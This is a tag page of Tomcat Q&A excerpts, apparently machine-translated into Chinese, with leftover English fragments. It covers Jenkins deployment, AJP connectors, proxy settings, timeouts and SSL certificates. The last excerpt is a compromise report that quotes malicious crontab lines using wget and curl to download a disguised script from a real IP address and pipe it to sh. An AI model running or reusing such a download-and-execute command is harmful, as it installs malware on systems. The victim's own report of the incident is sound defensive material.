Articles of tomcat

在Tomcat中独立运行Jenkins

在独立运行Jenkins或在Tomcat内运行时,应该考虑哪些事情? 我们宁愿不必使用Tomcat,因为这台服务器上没有其他应用程序需要Tomcat,因此我们将为Jenkins设置和维护另一个应用程序。 但是在Tomcat中运行Jenkins肯定有一些优势,否则为什么不是每个人都select单独运行(因为它更容易独立设置和维护),那么这些优势是什么呢? 单独使用而不使用Tomcat会丢失什么? jenkins的安装因素的大小是否决定? 即在一定数量的工作/build设或负载之后,是否需要从一个移动到另一个,或者是既小又大的Jenkins安装同样适用于这两个选项? Jenkins独立使用Winstone servlet引擎,所以在某些方面这个问题也是关于Winstone vs Tomcat的。

如何在configuration文件中configurationTomCat Java选项?

我正在尝试为我正在部署的第三方应用程序configuration传递给TomCat的Java选项。 该应用程序提供的说明是: 在开始>所有程序> Apache Tomcat> Tomcatconfiguration中,从Windows菜单打开Tomcatconfiguration工具。 单击configuration并selectJava选项卡。 在“Java选项”字段的底部,input以下内容: -Dexample.license.directory="C:\Program Files\example" 停止并重启应用程序服务器。 但是,我需要以编程方式执行此操作,所以我想知道可以在哪些configuration文件中设置这些选项。使用GUI对于将应用程序部署到其他开发人员的环境是不切实际的。 (如果这是相关的,我正在使用Tomcat 6.0)

如何防止响应缓慢的Tomcat使Apache缓慢响应?

我有一个网站,主要是由静态html页面偶尔ajax请求。 该网站在Apache上运行,ajax由Tomcat处理。 如果Tomcat的响应速度很慢(java无法连接到数据库服务器,或者只是需要很长时间来处理请求),它会导致整个站点停机:所有静态html页面都需要很长时间才能加载(相同与图像,CSS,JS)。 现在,如果我只是手动停止Tomcat的一切工作仍然正常 – 该网站是快速和响应,只是Ajax请求无法正常工作。 我怎样才能使响应慢的Tomcat不使用所有的Apache资源,所以静态页面总是可以工作,不pipeTomcat发生了什么事情? 在我的情况下,响应式html页面比不工作ajax更重要。 httpd.conf : Timeout 120 KeepAlive Off MaxKeepAliveRequests 100 KeepAliveTimeout 15 <IfModule prefork.c> StartServers 16 MinSpareServers 10 MaxSpareServers 40 ServerLimit 512 MaxClients 512 MaxRequestsPerChild 4000 </IfModule> workers.properties worker.worker1.port=8888 worker.worker1.reply_timeout=120000 worker.worker1.socket_timeout=150000 server.xml中 <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8081" /> <Connector port="8888" scheme="http" protocol="AJP/1.3" redirectPort="8889" minSpareThreads="100" maxThreads="400" connectionTimeout="20000" acceptorThreadCount="2"/>

ProxyPass整个域到Tomcat,包括root

我已将VirtualHost example.comconfiguration为将所有请求都委托给Tomcat服务器 ProxyPass / http://localhost:8088/app ProxyPassReverse / http://localhost:8088/app 这适用于像example.com/page这样的URL,但是对于example.com和example.com/,我得到这个redirect响应,这显然导致什么都没有。 HTTP/1.1 302 Moved Temporarily Date: Wed, 06 Jul 2011 21:13:37 GMT Server: Apache-Coyote/1.1 <– the redirect comes from tomcat Location: http://example.com/app/ <– nonsense … 我能做些什么来解决它? 最好在Apacheconfiguration中。 我正在使用Apache 2和Tomcat 7

Tomcat可以在不重启的情况下重新加载SSL证书吗?

我有一个后台进程,可以更新Tomcat用于其SSL凭据的密钥库。 我希望能够让Tomcat自动重新加载,而不需要手动重启。 有没有可能让Tomcat重新加载而不重新启动,或者是否有一个编程的方式,它可以完成?

辨别GoDaddy SSL证书types

我按照以下说明在Apache Tomcat中安装GoDaddy证书: http://support.godaddy.com/help/article/5239/generating-a-csr-and-installing-an-ssl-certificate-in-tomcat-4x5x6x?locale=en 但是,在步骤中引用了根证书,中间证书和证书。 我怎么知道哪个文件是哪个? 这些是我在下载中收到的三个文件的名称。 我已经尝试在Windows中打开每个只需双击,但我没有看到他们的types的参考。 gd_bundle-G2-g1.crt gdig2.crt 2b9918dccf2f1d.crt

增加mod_proxy_ajp连接的超时

我有我的apache(2.2.3)通过mod_proxy_ajp与tomcat 6.something交谈。 我有一些可笑的长时间的请求(2-6分钟),我想我们正在某个地方发生一些默认的超时…哪里是正确的地方,以提高? 这里是我的代理def: <Location /blah> ProxyPass ajp://localhost:8010/blah ProxyPassReverse ajp://localhost:8010/blah </Location>

如何让我的Tomcat AJP连接器工作?

我想使用连接器通过Apache-web服务器访问Tomcat。 我坚持以下的文档: http : //tomcat.apache.org/connectors-doc/generic_howto/quick.html我只修改它一点,以匹配我的Debian(Squeeze)系统上使用的目录结构。 所以我把以下内容添加到/etc/apache2/httpd.conf中: # Load mod_jk module # Update this path to match your modules location #LoadModule jk_module libexec/mod_jk.so # Declare the module for <IfModule directive> (remove this line on Apache 2.x) #AddModule mod_jk.c # Where to find workers.properties # Update this path to match your conf directory location (put workers.properties next […]

Tomcat:可能在应用程序部署期间排除jar子?

默认情况下,Tomcat阻止Web应用程序加载多个.jar,它们是Tomcat发行版的一部分(例如servlet和JSP API) – 是否可以configuration其他的也被排除? 如果不能单独configuration,Tomcat是否提供了资源validation的扩展点? 我想使用共享日志logging库,并需要确保一个错误的应用程序不会破坏configuration。 例 这就是我指的(从Tomcat启动日志): Oct 1, 2011 5:53:40 AM org.apache.catalina.loader.WebappClassLoader validateJarFile INFO: validateJarFile(D:\tomcat\myapp\WEB-INF\lib\servlet-api.jar) – jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class

Shell脚本攻击Apache服务器,通过未知来源的cron作业

在Apache Tomcat服务器上运行项目战时,我发现服务器已经被入侵。 在未知的cron上运行战争就像这样运行 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O – -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 下载的logo.jpg有一个正在下载恶意软件的shell脚本。 我在下面的网站上发现了类似的问题 Covert channels: Hiding shell scripts in PNG files 和 https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux 我无法在整个代码中find此cron作业调度程序的来源。 这个cron工作 我想知道有没有人遇到这个问题? 我该如何去寻找代码中cron作业的起源。 注意: 我正在开发一个JAVA(Struts 2)+ jsp + javascript + jquery web项目。 每当我用项目的war文件启动我的tomcat时,这个cron作业就会运行,但是我无法在我的代码中find任何cron作业的调度器。 我在我的日志文件中find了以下行 [INFO] 2017-06-02 […]